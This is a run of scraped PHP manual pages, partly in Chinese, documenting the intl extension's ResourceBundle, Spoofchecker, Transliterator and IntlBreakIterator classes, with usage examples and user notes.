To get the resource bundle provided by libicu, you can pass "null" as $bundlename.


Get bundle's last error code

  • ? ResourceBundle::create
  • ResourceBundle::getErrorMessage ?
  • PHP Manual
  • ResourceBundle
  • Get bundle's last error code

ResourceBundle::getErrorCode

resourcebundle_get_error_code

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::getErrorCode -- resourcebundle_get_error_code — Get bundle's last error code

说明

面向对象风格

public ResourceBundle::getErrorCode(): int

过程化风格

resourcebundle_get_error_code(ResourceBundle $bundle): int

Get error code from the last function performed by the bundle object.

参数

bundle

ResourceBundle object.

返回值

Returns error code from last bundle object call.

示例

Example #1 resourcebundle_get_error_code() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
report_error("Bundle error");
}
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
report_error("Bundle error");
}
?>

参见

  • resourcebundle_get_error_message() - Get bundle's last error message
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get bundle's last error message

  • ? ResourceBundle::getErrorCode
  • ResourceBundle::get ?
  • PHP Manual
  • ResourceBundle
  • Get bundle's last error message

ResourceBundle::getErrorMessage

resourcebundle_get_error_message

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::getErrorMessage -- resourcebundle_get_error_message — Get bundle's last error message

说明

面向对象风格

public ResourceBundle::getErrorMessage(): string

过程化风格

resourcebundle_get_error_message(ResourceBundle $bundle): string

Get error message from the last function performed by the bundle object.

参数

bundle

ResourceBundle object.

返回值

Returns error message from last bundle object's call.

示例

Example #1 resourcebundle_get_error_message() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(resourcebundle_get_error_code($r))) {
report_error("Bundle error: ".resourcebundle_get_error_message($r));
}
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r['somestring'];
if(intl_is_failure(ResourceBundle::getErrorCode($r))) {
report_error("Bundle error: ".ResourceBundle::getErrorMessage($r));
}
?>

参见

  • resourcebundle_get_error_code() - Get bundle's last error code
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get data from the bundle

  • ? ResourceBundle::getErrorMessage
  • ResourceBundle::getLocales ?
  • PHP Manual
  • ResourceBundle
  • Get data from the bundle

ResourceBundle::get

resourcebundle_get

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::get -- resourcebundle_get — Get data from the bundle

说明

面向对象风格

public ResourceBundle::get(string|int $index, bool $fallback = true): mixed

过程化风格

resourcebundle_get(ResourceBundle $bundle, string|int $index, bool $fallback = true): mixed

Get the data from the bundle by index or string key.

参数

bundle

ResourceBundle object.

index

Data index, must be string or integer.

fallback

Whether locale should match exactly or fallback to parent locale is allowed.

返回值

Returns the data located at the index or null on error. Strings, integers and binary data strings are returned as corresponding PHP types, integer array is returned as PHP array. Complex types are returned as ResourceBundle object.

示例

Example #1 resourcebundle_get() example

<?php
$r = resourcebundle_create( 'es', "/usr/share/data/myapp");
echo resourcebundle_get($r, 'somestring');
?>

Example #2 OO example

<?php
$r = new ResourceBundle( 'es', "/usr/share/data/myapp");
echo $r->get('somestring');
?>

以上示例会输出：

?Hola, mundo!

参见

  • resourcebundle_count() - Get number of elements in the bundle

User Contributed Notes

There are no user contributed notes for this page.


Get supported locales

  • ? ResourceBundle::get
  • Spoofchecker ?
  • PHP Manual
  • ResourceBundle
  • Get supported locales

ResourceBundle::getLocales

resourcebundle_locales

(PHP 5 >= 5.3.2, PHP 7, PHP 8, PECL intl >= 2.0.0)

ResourceBundle::getLocales -- resourcebundle_locales — Get supported locales

说明

面向对象风格

public static ResourceBundle::getLocales(string $bundle): array|false

过程化风格

resourcebundle_locales(string $bundle): array|false

Get available locales from ResourceBundle name.

参数

bundle

Path of ResourceBundle for which to get available locales, or empty string for default locales list.

返回值

Returns the list of locales supported by the bundle, or false on failure.

示例

Example #1 resourcebundle_locales() example

<?php
$bundle = "/user/share/data/myapp";
echo join(PHP_EOL, resourcebundle_locales($bundle));
?>

以上示例的输出类似于：

es
root

Example #2 OO example

<?php
$bundle = "/usr/share/data/myapp";
$r = new ResourceBundle( 'es', $bundle);
echo join("\n", $r->getLocales($bundle));
?>

以上示例的输出类似于：

es
root

参见

  • resourcebundle_get() - Get data from the bundle

User Contributed Notes

jared at enhancesoft dot com 20-Oct-2014 02:53
If you call this method with an empty string, it will return a list of all locales available in the ICU library (via the intl extension):

<?php
print_r(ResourceBundle::getLocales(''));

 /* Output might show
  * Array
  * (
  *    [0] => af
  *    [1] => af_NA
  *    [2] => af_ZA
  *    [3] => am
  *    [4] => am_ET
  *    [5] => ar
  *    [6] => ar_AE
  *    [7] => ar_BH
  *    [8] => ar_DZ
  *    [9] => ar_EG
  *    [10] => ar_IQ
  *  ...
  */
?>


The Spoofchecker class

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

简介

This class is provided because Unicode contains large number of characters and incorporates the varied writing systems of the world and their incorrect usage can expose programs or systems to possible security attacks using characters similarity.

Provided methods allow to check whether an individual string is likely an attempt at confusing the reader (spoof detection), such as "pаypаl" spelled with Cyrillic 'а' characters.

类摘要

class Spoofchecker {
/* 常量 */
public const int SINGLE_SCRIPT_CONFUSABLE;
public const int MIXED_SCRIPT_CONFUSABLE;
public const int WHOLE_SCRIPT_CONFUSABLE;
public const int ANY_CASE;
public const int SINGLE_SCRIPT;
public const int INVISIBLE;
public const int CHAR_LIMIT;
public const int ASCII;
public const int HIGHLY_RESTRICTIVE;
public const int MODERATELY_RESTRICTIVE;
public const int MINIMALLY_RESTRICTIVE;
public const int UNRESTRICTIVE;
public const int SINGLE_SCRIPT_RESTRICTIVE;
public const int MIXED_NUMBERS;
public const int HIDDEN_OVERLAY;
/* 方法 */
public __construct()
public areConfusable(string $string1, string $string2, int &$errorCode = null): bool
public isSuspicious(string $string, int &$errorCode = null): bool
public setAllowedLocales(string $locales): void
public setChecks(int $checks): void
public setRestrictionLevel(int $level): void
}

预定义常量

Spoofchecker::SINGLE_SCRIPT_CONFUSABLE

Spoofchecker::MIXED_SCRIPT_CONFUSABLE

Spoofchecker::WHOLE_SCRIPT_CONFUSABLE

Spoofchecker::ANY_CASE

Spoofchecker::SINGLE_SCRIPT

Spoofchecker::INVISIBLE

Spoofchecker::CHAR_LIMIT

Spoofchecker::ASCII

Spoofchecker::HIGHLY_RESTRICTIVE

Spoofchecker::MODERATELY_RESTRICTIVE

Spoofchecker::MINIMALLY_RESTRICTIVE

Spoofchecker::UNRESTRICTIVE

Spoofchecker::SINGLE_SCRIPT_RESTRICTIVE

Spoofchecker::MIXED_NUMBERS

Spoofchecker::HIDDEN_OVERLAY

更新日志

版本 | 说明
7.3.0 | Class constants used by Spoofchecker::setRestrictionLevel() such as Spoofchecker::ASCII, Spoofchecker::HIGHLY_RESTRICTIVE, Spoofchecker::MODERATELY_RESTRICTIVE, Spoofchecker::MINIMALLY_RESTRICTIVE, Spoofchecker::UNRESTRICTIVE, Spoofchecker::SINGLE_SCRIPT_RESTRICTIVE has been added.

Table of Contents

  • Spoofchecker::areConfusable — Checks if given strings can be confused
  • Spoofchecker::__construct — Constructor
  • Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters
  • Spoofchecker::setAllowedLocales — Locales to use when running checks
  • Spoofchecker::setChecks — Set the checks to run
  • Spoofchecker::setRestrictionLevel — Set the restriction level

User Contributed Notes

Anonymous 20-Apr-2018 12:38
Spoofchecker yields false positives by defaut when Whole-Script Confusables (WSC) and Mixed-Script Confusables (MSC) checks are used.
They have been deprecated since ICU 58:
http://bugs.icu-project.org/trac/ticket/12549#comment:10

Workarounds: upgrade ICU to 58+, or avoid the MSC and WSC checks with Spoofcheckers' setChecks() function.
Anonymous 27-May-2017 07:07
From http://icu-project.org/apiref/icu4j/com/ibm/icu/text/SpoofChecker.html :
SINGLE_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are from the same script
MIXED_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are NOT from the same script
WHOLE_SCRIPT_CONFUSABLE: indicates that the two strings are visually confusable and that they are NOT from the same script BUT both of them are single-script strings
ANY_CASE: Deprecated.
SINGLE_SCRIPT: Deprecated.
INVISIBLE: Check an identifier for the presence of invisible characters, such as zero-width spaces, or character sequences that are likely not to display, such as multiple occurrences of the same non-spacing mark.
CHAR_LIMIT: Check that an identifier contains only characters from a specified set of acceptable characters.

Explanation of whole script, mixed script and single script confusables in UTS 39 section 4 : http://unicode.org/reports/tr39/#Confusable_Detection

Details from Java SpoofChecker class at http://icu-project.org/apiref/icu4j/com/ibm/icu/text/SpoofChecker.html


Checks if given strings can be confused

  • ? Spoofchecker
  • Spoofchecker::__construct ?
  • PHP Manual
  • Spoofchecker
  • Checks if given strings can be confused

Spoofchecker::areConfusable

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Spoofchecker::areConfusable — Checks if given strings can be confused

说明

public Spoofchecker::areConfusable(string $string1, string $string2, int &$errorCode = null): bool

Checks whether two given strings can easily be mistaken.

参数

string1

First string to check.

string2

Second string to check.

errorCode

This variable is set by-reference to int containing an error, if there was any.

返回值

Returns true if two given strings can be confused, false otherwise.

示例

Example #1 Spoofchecker::areConfusable() example

<?php
$checker = new Spoofchecker();

$checker->areConfusable('google.com', 'goog1e.com'); // true
// Lower l can be confused with digit one

$checker->areConfusable('google.com', 'g00g1e.com'); // false
// Zero (0) cannot be easily confused with "o" letter

User Contributed Notes

There are no user contributed notes for this page.


Constructor

  • ? Spoofchecker::areConfusable
  • Spoofchecker::isSuspicious ?
  • PHP Manual
  • Spoofchecker
  • Constructor

Spoofchecker::__construct

(No version information available, might only be in Git)

Spoofchecker::__construct — Constructor

说明

public Spoofchecker::__construct()

Creates new instance of Spoofchecker.

参数

此函数没有参数。

User Contributed Notes

There are no user contributed notes for this page.


Checks if a given text contains any suspicious characters

  • ? Spoofchecker::__construct
  • Spoofchecker::setAllowedLocales ?
  • PHP Manual
  • Spoofchecker
  • Checks if a given text contains any suspicious characters

Spoofchecker::isSuspicious

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters

说明

public Spoofchecker::isSuspicious(string $string, int &$errorCode = null): bool

Checks if given string contains any suspicious characters like letters which are almost identical visually, but are Unicode characters from different sets.

参数

string

String to test.

errorCode

This variable is set by-reference to int containing an error, if there was any.

返回值

Returns true if there are suspicious characters, false otherwise.

示例

Example #1 Spoofchecker::isSuspicious() example

<?php
$checker = new Spoofchecker();

$checker->isSuspicious('google.com'); // FALSE: only ASCII characters

$checker->isSuspicious('Рaypal.com'); // TRUE
// The first letter is from Cyrylic, not a regular latin "P"

User Contributed Notes

There are no user contributed notes for this page.


Locales to use when running checks

  • ? Spoofchecker::isSuspicious
  • Spoofchecker::setChecks ?
  • PHP Manual
  • Spoofchecker
  • Locales to use when running checks

Spoofchecker::setAllowedLocales

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Spoofchecker::setAllowedLocales — Locales to use when running checks

说明

public Spoofchecker::setAllowedLocales(string $locales): void

Warning

本函数还未编写文档，仅有参数列表。

参数

locales

返回值

User Contributed Notes

There are no user contributed notes for this page.


Set the checks to run

  • ? Spoofchecker::setAllowedLocales
  • Spoofchecker::setRestrictionLevel ?
  • PHP Manual
  • Spoofchecker
  • Set the checks to run

Spoofchecker::setChecks

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Spoofchecker::setChecks — Set the checks to run

说明

public Spoofchecker::setChecks(int $checks): void

Sets the checks that will be performed by SpoofChecker::isSuspicious().

参数

checks

The checks that will be performed by SpoofChecker::isSuspicious().
A bitmask of
Spoofchecker::SINGLE_SCRIPT_CONFUSABLE,
Spoofchecker::MIXED_SCRIPT_CONFUSABLE,
Spoofchecker::WHOLE_SCRIPT_CONFUSABLE,
Spoofchecker::ANY_CASE,
Spoofchecker::SINGLE_SCRIPT,
Spoofchecker::INVISIBLE, or
Spoofchecker::CHAR_LIMIT.
Defaults to all checks as of ICU 58; prior to that version,
Spoofchecker::SINGLE_SCRIPT was excluded.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Set the restriction level

  • ? Spoofchecker::setChecks
  • Transliterator ?
  • PHP Manual
  • Spoofchecker
  • Set the restriction level

Spoofchecker::setRestrictionLevel

(PHP 7 >= 7.3.0, PHP 8)

Spoofchecker::setRestrictionLevel — Set the restriction level

说明

public Spoofchecker::setRestrictionLevel(int $level): void

Sets the restriction level of SpoofChecker::isSuspicious().

参数

level

The restriction level of SpoofChecker::isSuspicious().
One of
Spoofchecker::ASCII,
Spoofchecker::SINGLE_SCRIPT_RESTRICTIVE,
Spoofchecker::HIGHLY_RESTRICTIVE,
Spoofchecker::MODERATELY_RESTRICTIVE,
Spoofchecker::MINIMALLY_RESTRICTIVE, or
Spoofchecker::UNRESTRICTIVE.
Defaults to Spoofchecker::HIGHLY_RESTRICTIVE.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


The Transliterator class

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

简介

Transliterator provides transliteration of strings.

类摘要

class Transliterator {
/* 常量 */
public const int FORWARD;
public const int REVERSE;
/* 属性 */
public readonly string $id;
/* 方法 */
final private __construct()
public static create(string $id, int $direction = Transliterator::FORWARD): ?Transliterator
public static createFromRules(string $rules, int $direction = Transliterator::FORWARD): ?Transliterator
public createInverse(): ?Transliterator
public getErrorCode(): int|false
public getErrorMessage(): string|false
public static listIDs(): array|false
public transliterate(string $string, int $start = 0, int $end = -1): string|false
}

属性

id

预定义常量

Transliterator::FORWARD

Transliterator::REVERSE

更新日志

版本 | 说明
8.2.0 | The id property is now readonly.

Table of Contents

  • Transliterator::__construct — Private constructor to deny instantiation
  • Transliterator::create — Create a transliterator
  • Transliterator::createFromRules — Create transliterator from rules
  • Transliterator::createInverse — Create an inverse transliterator
  • Transliterator::getErrorCode — Get last error code
  • Transliterator::getErrorMessage — Get last error message
  • Transliterator::listIDs — Get transliterator IDs
  • Transliterator::transliterate — Transliterate a string

User Contributed Notes

metalinspired 13-Jul-2021 09:44
New location of documentation: https://unicode-org.github.io/icu/userguide/transforms/general/
asphp at dsgml dot com 02-Sep-2014 09:07
For more documentation see here: http://userguide.icu-project.org/transforms/general


Private constructor to deny instantiation

  • ? Transliterator
  • Transliterator::create ?
  • PHP Manual
  • Transliterator
  • Private constructor to deny instantiation

Transliterator::__construct

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::__construct — Private constructor to deny instantiation

说明

final private Transliterator::__construct()

This method should not be called. Its only purpose is to deny instantiation with the new operator.

Use the factory methods Transliterator::create() or Transliterator::createFromRules() instead.

参数

此函数没有参数。

参见

  • Transliterator::create() - Create a transliterator
  • Transliterator::createFromRules() - Create transliterator from rules

User Contributed Notes

There are no user contributed notes for this page.


Create a transliterator

  • ? Transliterator::__construct
  • Transliterator::createFromRules ?
  • PHP Manual
  • Transliterator
  • Create a transliterator

Transliterator::create

transliterator_create

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::create -- transliterator_create — Create a transliterator

说明

面向对象风格

public static Transliterator::create(string $id, int $direction = Transliterator::FORWARD): ?Transliterator

过程化风格

transliterator_create(string $id, int $direction = Transliterator::FORWARD): ?Transliterator

Opens a Transliterator by ID.

Warning

本函数还未编写文档，仅有参数列表。

参数

id

The ID. A list of all registered transliterator IDs can be retrieved by using Transliterator::listIDs().

direction

The direction, defaults to Transliterator::FORWARD. May also be set to Transliterator::REVERSE.

返回值

Returns a Transliterator object on success, or null on failure.

参见

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::__construct() - Private constructor to deny instantiation

User Contributed Notes

Harry..de 27-Oct-2020 07:27
// Translit each and every char to ASCII

$string = 'Москва?';
$string = Transliterator::create('Any-Latin; Latin-ASCII')->transliterate($string);

print $string;

// the result is "Moskva"
Jan Kucha 07-Aug-2020 06:50
If you want to go deeper into what is going on, read the ICU projects docs: http://userguide.icu-project.org/transforms/general

This API call is basically just wrapper around ICU Transliteration.
Baran Sakallolu 12-Nov-2019 08:29
A good example of create for non latin languages is Turkish.

There both upper case I character and lowercase ? character which makes other strtolower kind of functions useless.

$text = "I?d?r";

echo Transliterator::create("tr-Lower")->transliterate($text);

will return the correct result ??d?r, not i?d?r .


Create transliterator from rules

  • ? Transliterator::create
  • Transliterator::createInverse ?
  • PHP Manual
  • Transliterator
  • Create transliterator from rules

Transliterator::createFromRules

transliterator_create_from_rules

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::createFromRules -- transliterator_create_from_rules — Create transliterator from rules

说明

面向对象风格

public static Transliterator::createFromRules(string $rules, int $direction = Transliterator::FORWARD): ?Transliterator

过程化风格

transliterator_create_from_rules(string $rules, int $direction = Transliterator::FORWARD): ?Transliterator

Creates a Transliterator from rules.

Warning

本函数还未编写文档，仅有参数列表。

参数

rules

The rules as defined in Transform Rules Syntax of UTS #35: Unicode LDML.

direction

The direction, defaults to Transliterator::FORWARD. May also be set to Transliterator::REVERSE.

返回值

Returns a Transliterator object on success, or null on failure.

参见

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::create() - Create a transliterator

User Contributed Notes

There are no user contributed notes for this page.


Create an inverse transliterator

  • ? Transliterator::createFromRules
  • Transliterator::getErrorCode ?
  • PHP Manual
  • Transliterator
  • Create an inverse transliterator

Transliterator::createInverse

transliterator_create_inverse

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::createInverse -- transliterator_create_inverse — Create an inverse transliterator

说明

面向对象风格

public Transliterator::createInverse(): ?Transliterator

过程化风格

transliterator_create_inverse(Transliterator $transliterator): ?Transliterator

Opens the inverse transliterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

Returns a Transliterator object on success, or null on failure

参见

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::create() - Create a transliterator

User Contributed Notes

There are no user contributed notes for this page.


Get last error code

  • ? Transliterator::createInverse
  • Transliterator::getErrorMessage ?
  • PHP Manual
  • Transliterator
  • Get last error code

Transliterator::getErrorCode

transliterator_get_error_code

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::getErrorCode -- transliterator_get_error_code — Get last error code

说明

面向对象风格

public Transliterator::getErrorCode(): int|false

过程化风格

transliterator_get_error_code(Transliterator $transliterator): int|false

Gets the last error code for this transliterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

transliterator

返回值

The error code on success, or false if none exists, or on failure.

参见

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::listIDs() - Get transliterator IDs

User Contributed Notes

There are no user contributed notes for this page.


Get last error message

  • ? Transliterator::getErrorCode
  • Transliterator::listIDs ?
  • PHP Manual
  • Transliterator
  • Get last error message

Transliterator::getErrorMessage

transliterator_get_error_message

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::getErrorMessage -- transliterator_get_error_message — Get last error message

说明

面向对象风格

public Transliterator::getErrorMessage(): string|false

过程化风格

transliterator_get_error_message(Transliterator $transliterator): string|false

Gets the last error message for this transliterator.

Warning

本函数还未编写文档，仅有参数列表。

参数

transliterator

返回值

The error message on success, or false if none exists, or on failure.

参见

  • Transliterator::getErrorCode() - Get last error code
  • Transliterator::listIDs() - Get transliterator IDs

User Contributed Notes

There are no user contributed notes for this page.


Get transliterator IDs

  • ? Transliterator::getErrorMessage
  • Transliterator::transliterate ?
  • PHP Manual
  • Transliterator
  • Get transliterator IDs

Transliterator::listIDs

transliterator_list_ids

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::listIDs -- transliterator_list_ids — Get transliterator IDs

说明

面向对象风格

public static Transliterator::listIDs(): array|false

过程化风格

transliterator_list_ids(): array|false

Returns an array with the registered transliterator IDs.

参数

此函数没有参数。

返回值

An array of registered transliterator IDs on success, 或者在失败时返回 false.

示例

Example #1 Retrieving the registered transliterator IDs

<?php
print_r(Transliterator::listIDs());
?>

以上示例的输出类似于：

Array
(
    [0] => ASCII-Latin
    [1] => Accents-Any
    [2] => Amharic-Latin/BGN
    [3] => Any-Accents
    [4] => Any-Publishing
...
    [650] => Any-ps_Latn/BGN
    [651] => Any-tk/BGN
    [652] => Any-ch_FONIPA
    [653] => Any-cs_FONIPA
    [654] => Any-cy_FONIPA
)

参见

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::transliterate() - Transliterate a string

User Contributed Notes

There are no user contributed notes for this page.


Transliterate a string

  • ? Transliterator::listIDs
  • IntlBreakIterator ?
  • PHP Manual
  • Transliterator
  • Transliterate a string

Transliterator::transliterate

transliterator_transliterate

(PHP 5 >= 5.4.0, PHP 7, PHP 8, PECL intl >= 2.0.0)

Transliterator::transliterate -- transliterator_transliterate — Transliterate a string

说明

面向对象风格

public Transliterator::transliterate(string $string, int $start = 0, int $end = -1): string|false

过程化风格

transliterator_transliterate(
Transliterator|string $transliterator,
string $string,
int $start = 0,
int $end = -1
): string|false

Transforms a string or part thereof using an ICU transliterator.

参数

transliterator

In the procedural version, either a Transliterator or a string from which a Transliterator can be built.

string

The string to be transformed.

start

The start index (in UTF-16 code units) from which the string will start to be transformed, inclusive. Indexing starts at 0. The text before will be left as is.

end

The end index (in UTF-16 code units) until which the string will be transformed, exclusive. Indexing starts at 0. The text after will be left as is.

返回值

The transformed string on success, 或者在失败时返回 false.

示例

Example #1 Converting escaped UTF-16 code units

<?php
$s = "\u304A\u65E9\u3046\u3054\u3056\u3044\u307E\u3059";
echo transliterator_transliterate("Hex-Any/Java", $s), "\n";

//now the reverse operation with a supplementary character
$supplChar = html_entity_decode('&#x1D11E;');
echo mb_strlen($supplChar, "UTF-8"), "\n";
$encSupplChar = transliterator_transliterate("Any-Hex/Java", $supplChar);
//echoes two encoded UTF-16 code units
echo $encSupplChar, "\n";
//and back
echo transliterator_transliterate("Hex-Any/Java", $encSupplChar), "\n";
?>

以上示例的输出类似于：

お早うございます
1
\uD834\uDD1E
??

参见

  • Transliterator::getErrorMessage() - Get last error message
  • Transliterator::__construct() - Private constructor to deny instantiation

User Contributed Notes

Anonymous 14-Nov-2016 10:04
There are some possibly undesirable conversions with ASCII//TRANSLIT//IGNORE or your users may require some custom stuff.

You might want to run a substitution up front for certain things, such as when you want 3 letter ISO codes to replace currency symbols. ￡ transliterates to "lb", for example, which is incorrect since it's a currency symbol, not a weight symbol (#).

ASCII//TRANSLIT//IGNORE does a great job within the realm of possibility :-)

When it doesn't do something you want it to, you can set up a CSV with one replacement per line and run a function like:

    function stripByMap($inputString, $mapFile)
    {
        $csv = file($mapFile);
        foreach($csv as $line)
        {
            $arrLine = explode(',', trim($line));
            $inputString = str_replace($arrLine[0],$arrLine[1],$inputString);
        }
        return $inputString;
    }

or you can write some regexes. Transliterating using ASCII//TRANSLIT//IGNORE  works so well that your map probably won't be very long...
simonsimcity at gmail dot com 05-Jun-2014 08:16
Sorry, for posting it again, but I found a bug in my code:

If you have a character, like the cyrillic ь (a soft-sign - no sound), the "Any-Latin" would translate it to a prime-character, and the "Latin-ASCII" doesn't touch prime-characters. Therefore I added an option to remove all characters, that are higher than \u0100.

Here's my new code, including an example:

var_dump(transliterator_transliterate('Any-Latin; Latin-ASCII; [\u0100-\u7fff] remove',
    "A ? übérmensch p? h?yeste niv?! И я люблю PHP! есть. ?"));
// string(50) "A ae Ubermensch pa hoyeste niva! I a lublu PHP! est. fi"

Another approach, I found quite helpful (if you by no way want to remove characters ...), try to use iconv() in addition. This surely will just return ASCII characters.

See: http://stackoverflow.com/a/3542748/517914

Also an example here:

var_dump(iconv("UTF-8", "ASCII//TRANSLIT//IGNORE", transliterator_transliterate('Any-Latin; Latin-ASCII',
    "A ? übérmensch p? h?yeste niv?! И я люблю PHP! есть. ?"));
// string(50) "A ae Ubermensch pa hoyeste niva! I a lublu PHP! est'. fi"
simonsimcity at gmail dot com 15-Apr-2013 06:11
I pretty much like the idea of hdogan, but there's at least one group of characters he's missing: ligature characters.
They're at least used in Norwegian and I read something about French, too ... Some are just used for styling (f.e. ?)

Here's an example that supports all characters (should at least, according to the documentation):
<?php
var_dump(transliterator_transliterate('Any-Latin; Latin-ASCII; Lower()', "A ? übérmensch p? h?yeste niv?! И я люблю PHP! ?"));
// string(41) "a ae ubermensch pa hoyeste niva! i a lublu php! fi"
?>

In this example any character will firstly be converted to a latin character. If that's finished, replace all latin characters by their ASCII replacement.
hdogan at gmail dot com 11-Nov-2012 02:33
You can create slugs easily with:

<?php
function slugify($string) {
    $string = transliterator_transliterate("Any-Latin; NFD; [:Nonspacing Mark:] Remove; NFC; [:Punctuation:] Remove; Lower();", $string);
    $string = preg_replace('/[-\s]+/', '-', $string);
    return trim($string, '-');
}

echo slugify("Я люблю PHP!");
?>
jinmoku at hotmail dot com 09-Feb-2011 12:59
OOP version :

<?php
$str = 'àáa???èéê?ìí???òó???ùú?üy?
àá????èéê?ìí???òó???ùú?üY';
$rule = 'NFD; [:Nonspacing Mark:] Remove; NFC';

$myTrans = Transliterator::create($rule);
echo $myTrans->transliterate($str);

//aaaaaceeeeiiiinooooouuuuyy
//AAAAACEEEEIIIINOOOOOUUUUY
?>


The IntlBreakIterator class

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

简介

A "break iterator" is an ICU object that exposes methods for locating boundaries in text (e.g. word or sentence boundaries). The PHP IntlBreakIterator serves as the base class for all types of ICU break iterators. Where extra functionality is available, the intl extension may expose the ICU break iterator with suitable subclasses, such as IntlRuleBasedBreakIterator or IntlCodePointBreakIterator.

This class implements IteratorAggregate. Traversing an IntlBreakIterator yields non-negative integer values representing the successive locations of the text boundaries, expressed as UTF-8 code units (byte) counts, taken from the beginning of the text (which has the location 0). The keys yielded by the iterator simply form the sequence of natural numbers {0, 1, 2, ...}.

类摘要

class IntlBreakIterator implements IteratorAggregate {
/* 常量 */
public const int DONE;
public const int WORD_NONE;
public const int WORD_NONE_LIMIT;
public const int WORD_NUMBER;
public const int WORD_NUMBER_LIMIT;
public const int WORD_LETTER;
public const int WORD_LETTER_LIMIT;
public const int WORD_KANA;
public const int WORD_KANA_LIMIT;
public const int WORD_IDEO;
public const int WORD_IDEO_LIMIT;
public const int LINE_SOFT;
public const int LINE_SOFT_LIMIT;
public const int LINE_HARD;
public const int LINE_HARD_LIMIT;
public const int SENTENCE_TERM;
public const int SENTENCE_TERM_LIMIT;
public const int SENTENCE_SEP;
public const int SENTENCE_SEP_LIMIT;
/* 方法 */
private __construct()
public static createCharacterInstance(?string $locale = null): ?IntlBreakIterator
public static createCodePointInstance(): IntlCodePointBreakIterator
public static createLineInstance(?string $locale = null): ?IntlBreakIterator
public static createSentenceInstance(?string $locale = null): ?IntlBreakIterator
public static createTitleInstance(?string $locale = null): ?IntlBreakIterator
public static createWordInstance(?string $locale = null): ?IntlBreakIterator
public current(): int
public first(): int
public following(int $offset): int
public getErrorCode(): int
public getErrorMessage(): string
public getLocale(int $type): string|false
public getPartsIterator(string $type = IntlPartsIterator::KEY_SEQUENTIAL): IntlPartsIterator
public getText(): ?string
public isBoundary(int $offset): bool
public last(): int
public next(?int $offset = null): int
public preceding(int $offset): int
public previous(): int
public setText(string $text): ?bool
}

预定义常量

IntlBreakIterator::DONE

IntlBreakIterator::WORD_NONE

IntlBreakIterator::WORD_NONE_LIMIT

IntlBreakIterator::WORD_NUMBER

IntlBreakIterator::WORD_NUMBER_LIMIT

IntlBreakIterator::WORD_LETTER

IntlBreakIterator::WORD_LETTER_LIMIT

IntlBreakIterator::WORD_KANA

IntlBreakIterator::WORD_KANA_LIMIT

IntlBreakIterator::WORD_IDEO

IntlBreakIterator::WORD_IDEO_LIMIT

IntlBreakIterator::LINE_SOFT

IntlBreakIterator::LINE_SOFT_LIMIT

IntlBreakIterator::LINE_HARD

IntlBreakIterator::LINE_HARD_LIMIT

IntlBreakIterator::SENTENCE_TERM

IntlBreakIterator::SENTENCE_TERM_LIMIT

IntlBreakIterator::SENTENCE_SEP

IntlBreakIterator::SENTENCE_SEP_LIMIT

更新日志

版本 | 说明
8.0.0 | IntlBreakIterator implements IteratorAggregate now. Previously, Traversable was implemented instead.

Table of Contents

  • IntlBreakIterator::__construct — Private constructor for disallowing instantiation
  • IntlBreakIterator::createCharacterInstance — Create break iterator for boundaries of combining character sequences
  • IntlBreakIterator::createCodePointInstance — Create break iterator for boundaries of code points
  • IntlBreakIterator::createLineInstance — Create break iterator for logically possible line breaks
  • IntlBreakIterator::createSentenceInstance — Create break iterator for sentence breaks
  • IntlBreakIterator::createTitleInstance — Create break iterator for title-casing breaks
  • IntlBreakIterator::createWordInstance — Create break iterator for word breaks
  • IntlBreakIterator::current — Get index of current position
  • IntlBreakIterator::first — Set position to the first character in the text
  • IntlBreakIterator::following — Advance the iterator to the first boundary following specified offset
  • IntlBreakIterator::getErrorCode — Get last error code on the object
  • IntlBreakIterator::getErrorMessage — Get last error message on the object
